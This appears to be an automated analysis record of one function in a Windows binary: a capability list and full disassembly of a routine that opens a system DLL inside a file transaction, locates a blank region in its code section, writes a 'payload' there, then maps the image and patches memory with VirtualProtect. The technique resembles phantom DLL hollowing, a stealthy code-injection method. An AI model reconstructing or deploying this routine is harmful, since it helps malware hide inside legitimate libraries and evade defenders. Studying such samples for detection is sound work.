Function at 0x140011104
Capabilities:
Enumerate files on windows
Get common file path
Get file size
Read file on windows
Resolve function by parsing pe exports
Write file on windows

Disassembly:
jmp 0x140011d60
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xde8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x276
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xe08]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0xd80], rax
lea rcx, [0x1400250a4]
call fcn.14001146f
nop
lea rax, [rbp + 0x10]
mov rdi, rax
xor eax, eax
mov ecx, 0x250
rep stosb byte [rdi], al
lea rax, [rbp + 0x280]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
mov byte [rbp + 0x4c4], 0
mov edx, 0x104
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
nop
lea r8, str..dll
mov edx, 0x104
lea rcx, [rbp + 0x280]
call qword [sym.imp.ucrtbased.dll_wcscat_s]
nop
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rbp + 0x4a8], rax
cmp qword [rbp + 0x4a8], 0xffffffffffffffff
je 0x1400126b0
lea rcx, [rbp + 0x3c]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
jne 0x14001267e
mov qword [rbp + 0x4e8], 0xffffffffffffffff
mov qword [rbp + 0x508], 0xffffffffffffffff
mov qword [rbp + 0x778], 0
mov edx, 0x104
lea rcx, [rbp + 0x530]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
nop
lea r8, [0x14001c138]
mov edx, 0x104
lea rcx, [rbp + 0x530]
call qword [sym.imp.ucrtbased.dll_wcscat_s]
nop
lea r8, [rbp + 0x3c]
mov edx, 0x104
lea rcx, [rbp + 0x530]
call qword [sym.imp.ucrtbased.dll_wcscat_s]
nop
movzx eax, byte [rbp + 0xdd8]
test eax, eax
je 0x140011fa5
mov dword [rbp + 0x798], 0x30
lea rax, [rbp + 0x7a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x28
rep stosb byte [rdi], al
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0x798]
mov edx, 0x1f003f
lea rcx, [rbp + 0x508]
call qword [0x14001f480]
mov dword [rbp + 0x754], eax
cmp dword [rbp + 0x754], 0
jl 0x140011f90
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov rax, qword [rbp + 0x508]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [rbp + 0x530]
call qword [sym.imp.KERNEL32.dll_CreateFileTransactedW]
mov qword [rbp + 0x4e8], rax
jmp 0x140011fa3
mov edx, dword [rbp + 0x754]
lea rcx, str.__Failed_to_create_transaction__error_0x_x__r_n
call fcn.1400111f9
nop
jmp 0x140011fe0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, [rbp + 0x530]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x4e8], rax
cmp qword [rbp + 0x4e8], 0xffffffffffffffff
je 0x140012661
xor edx, edx
mov rcx, qword [rbp + 0x4e8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbp + 0x7e4], eax
mov dword [rbp + 0x804], 0
mov eax, dword [rbp + 0x7e4]
mov ecx, eax
call fcn.1400111cc
mov qword [rbp + 0xd48], rax
mov rax, qword [rbp + 0xd48]
mov qword [rbp + 0x778], rax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x804]
mov r8d, dword [rbp + 0x7e4]
mov rdx, qword [rbp + 0x778]
mov rcx, qword [rbp + 0x4e8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400125db
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x4e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
nop
mov rax, qword [rbp + 0x778]
mov qword [rbp + 0x828], rax
mov rax, qword [rbp + 0x828]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0x778]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x848], rax
mov rax, qword [rbp + 0x848]
add rax, 0x108
mov qword [rbp + 0x868], rax
mov rax, qword [rbp + 0x848]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
jne 0x1400125db
mov rax, qword [rbp + 0x848]
mov eax, dword [rax + 0x50]
cmp dword [rbp + 0xdc8], eax
jae 0x1400125db
mov rax, qword [rbp + 0x868]
lea rdx, str..text
mov rcx, rax
call qword [sym.imp.ucrtbased.dll__stricmp]
test eax, eax
jne 0x1400125db
mov rax, qword [rbp + 0x868]
mov eax, dword [rax + 8]
cmp dword [rbp + 0xdc8], eax
jae 0x1400125db
mov rax, qword [rbp + 0x868]
mov r9d, dword [rax + 8]
mov rax, qword [rbp + 0x848]
mov r8d, dword [rax + 0x50]
lea rdx, [rbp + 0x3c]
lea rcx, str.__ws___image_size:__d___.text_size:__d_r_n
call fcn.1400111f9
nop
mov byte [rbp + 0x884], 0
mov dword [rbp + 0x8a4], 0
movzx eax, byte [rbp + 0xdd8]
test eax, eax
je 0x1400123c1
mov dword [rbp + 0x8c4], 0
mov dword [rbp + 0x8e4], 0
jmp 0x140012185
mov eax, dword [rbp + 0x8e4]
inc eax
mov dword [rbp + 0x8e4], eax
mov rax, qword [rbp + 0x848]
mov eax, dword [rax + 0x84]
cmp dword [rbp + 0x8e4], eax
jae 0x140012219
mov eax, dword [rbp + 0x8e4]
mov rcx, qword [rbp + 0x848]
mov rdx, qword [rbp + 0x868]
mov edx, dword [rdx + 0xc]
cmp dword [rcx + rax*8 + 0x88], edx
jb 0x140012214
mov eax, dword [rbp + 0x8e4]
mov rcx, qword [rbp + 0x868]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rbp + 0x868]
add ecx, dword [rdx + 8]
mov rdx, qword [rbp + 0x848]
cmp dword [rdx + rax*8 + 0x88], ecx
jae 0x140012214
mov eax, dword [rbp + 0x8e4]
mov rcx, qword [rbp + 0x848]
mov dword [rcx + rax*8 + 0x88], 0
mov eax, dword [rbp + 0x8e4]
mov rcx, qword [rbp + 0x848]
mov dword [rcx + rax*8 + 0x8c], 0
jmp 0x140012177
mov byte [rbp + 0x904], 0
mov eax, 8
imul rax, rax, 5
mov rcx, qword [rbp + 0x848]
mov eax, dword [rcx + rax + 0x88]
mov r9d, eax
mov r8, qword [rbp + 0x868]
mov rdx, qword [rbp + 0x848]
mov rcx, qword [rbp + 0x778]
call fcn.14001145b
mov qword [rbp + 0x928], rax
cmp qword [rbp + 0x928], 0
je 0x1400123b4
mov dword [rbp + 0x8a4], 0
jmp 0x14001228b
mov eax, dword [rbp + 0xdc8]
mov ecx, dword [rbp + 0x8a4]
add ecx, eax
mov eax, ecx
mov dword [rbp + 0x8a4], eax
movzx eax, byte [rbp + 0x904]
test eax, eax
jne 0x14001230c
mov rax, qword [rbp + 0x868]
mov eax, dword [rax + 8]
cmp dword [rbp + 0x8a4], eax
jae 0x14001230c
mov rax, qword [rbp + 0x868]
mov eax, dword [rax + 0xc]
add eax, dword [rbp + 0x8a4]
add eax, dword [rbp + 0xdc8]
mov rcx, qword [rbp + 0x868]
mov ecx, dword [rcx + 0xc]
add ecx, dword [rbp + 0x8a4]
mov edx, 8
imul rdx, rdx, 5
mov r9d, eax
mov r8d, ecx
mov rax, qword [rbp + 0x848]
mov edx, dword [rax + rdx + 0x8c]
mov rcx, qword [rbp + 0x928]
call fcn.140011064
movzx eax, al
test eax, eax
jne 0x140012307
mov byte [rbp + 0x904], 1
jmp 0x14001230c
jmp 0x140012275
movzx eax, byte [rbp + 0x904]
test eax, eax
je 0x14001232c
mov edx, dword [rbp + 0x8a4]
lea rcx, str._Found_a_blank_region_with_code_section_to_accomodate_payload_at_0x_08x_r_n
call fcn.1400111f9
nop
jmp 0x140012339
lea rcx, str.__Failed_to_identify_a_blank_region_large_enough_to_accomodate_payload_r_n
call fcn.1400111f9
nop
mov eax, dword [rbp + 0xdc8]
mov rcx, qword [rbp + 0x868]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rbp + 0x778]
add rdx, rcx
mov rcx, rdx
mov edx, dword [rbp + 0x8a4]
add rcx, rdx
mov r8d, eax
mov rdx, qword [rbp + 0xdc0]
call fcn.140011226
nop
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x8c4]
mov r8d, dword [rbp + 0x7e4]
mov rdx, qword [rbp + 0x778]
mov rcx, qword [rbp + 0x4e8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400123b2
lea rcx, str._Successfully_modified_TxF_file_content._r_n
call fcn.1400111f9
nop
mov byte [rbp + 0x884], 1
jmp 0x1400123c1
lea rcx, str.__No_relocation_directory_present._r_n
call fcn.1400111f9
nop
movzx eax, byte [rbp + 0xdd8]
test eax, eax
je 0x1400123db
movzx eax, byte [rbp + 0x884]
test eax, eax
je 0x1400125ce
mov qword [rbp + 0x948], 0
mov rax, qword [rbp + 0x4e8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x1000000
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf001f
lea rcx, [rbp + 0x948]
call qword [0x14001f470]
mov dword [rbp + 0x754], eax
cmp dword [rbp + 0x754], 0
jl 0x1400125b9
mov rax, qword [rbp + 0xdb8]
mov qword [rax], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
mov rcx, qword [rbp + 0xdb8]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0xdb0]
mov rdx, rax
mov rcx, qword [rbp + 0x948]
call qword [0x14001f478]
mov dword [rbp + 0x754], eax
cmp dword [rbp + 0x754], 0
jl 0x1400125a4
mov rax, qword [rbp + 0x848]
mov eax, dword [rax + 0x50]
mov rcx, qword [rbp + 0xdb8]
cmp qword [rcx], rax
jb 0x1400125a2
mov rax, qword [rbp + 0xdb8]
mov r8, qword [rax]
lea rdx, [rbp + 0x3c]
lea rcx, str.__ws___mapped_size:__I64u_r_n
call fcn.1400111f9
nop
mov rax, qword [rbp + 0x868]
mov eax, dword [rax + 0xc]
mov rcx, qword [rbp + 0xdb0]
mov rcx, qword [rcx]
add rcx, rax
mov rax, rcx
mov ecx, dword [rbp + 0x8a4]
add rax, rcx
mov rcx, qword [rbp + 0xdd0]
mov qword [rcx], rax
movzx eax, byte [rbp + 0xdd8]
test eax, eax
jne 0x14001259b
mov dword [rbp + 0x964], 0
mov eax, dword [rbp + 0xdc8]
lea r9, [rbp + 0x964]
mov r8d, 4
mov edx, eax
mov rax, qword [rbp + 0xdd0]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140012599
mov eax, dword [rbp + 0xdc8]
mov r8d, eax
mov rdx, qword [rbp + 0xdc0]
mov rax, qword [rbp + 0xdd0]
mov rcx, qword [rax]
call fcn.140011226
nop
mov eax, dword [rbp + 0xdc8]
lea r9, [rbp + 0x964]
mov r8d, dword [rbp + 0x964]
mov edx, eax
mov rax, qword [rbp + 0xdd0]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140012599
mov byte [rbp + 0x4c4], 1
jmp 0x1400125a2
mov byte [rbp + 0x4c4], 1
jmp 0x1400125b7
mov edx, dword [rbp + 0x754]
lea rcx, str.__Failed_to_create_mapping_of_section__error_0x_08x_
call fcn.1400111f9
nop
jmp 0x1400125cc
mov edx, dword [rbp + 0x754]
lea rcx, str.__Failed_to_create_section__error_0x_x__r_n
call fcn.1400111f9
nop
jmp 0x1400125db
lea rcx, str.__TxF_initialization_failed._r_n
call fcn.1400111f9
nop
cmp qword [rbp + 0x778], 0
je 0x14001262f
mov rax, qword [rbp + 0x778]
mov qword [rbp + 0xd68], rax
mov rcx, qword [rbp + 0xd68]
call fcn.140011212
cmp qword [rbp + 0xd68], 0
jne 0x140012616
mov qword [rbp + 0xd78], 0
jmp 0x14001262f
mov qword [rbp + 0x778], 0x8123
mov rax, qword [rbp + 0x778]
mov qword [rbp + 0xd78], rax
cmp qword [rbp + 0x4e8], 0xffffffffffffffff
je 0x140012647
mov rcx, qword [rbp + 0x4e8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp qword [rbp + 0x508], 0xffffffffffffffff
je 0x14001265f
mov rcx, qword [rbp + 0x508]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x14001267e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rbp + 0x530]
lea rcx, str.__Failed_to_open_handle_to__ws__error__d__r_n
call fcn.1400111f9
nop
movzx eax, byte [rbp + 0x4c4]
test eax, eax
jne 0x1400126a2
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x4a8]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140011e36
mov rcx, qword [rbp + 0x4a8]
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
movzx eax, byte [rbp + 0x4c4]
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001bef0]
call fcn.1400113d4
mov eax, edi
mov rcx, qword [rbp + 0xd80]
xor rcx, rbp
call fcn.140011221
lea rsp, [rbp + 0xd98]
pop rdi
pop rbp
ret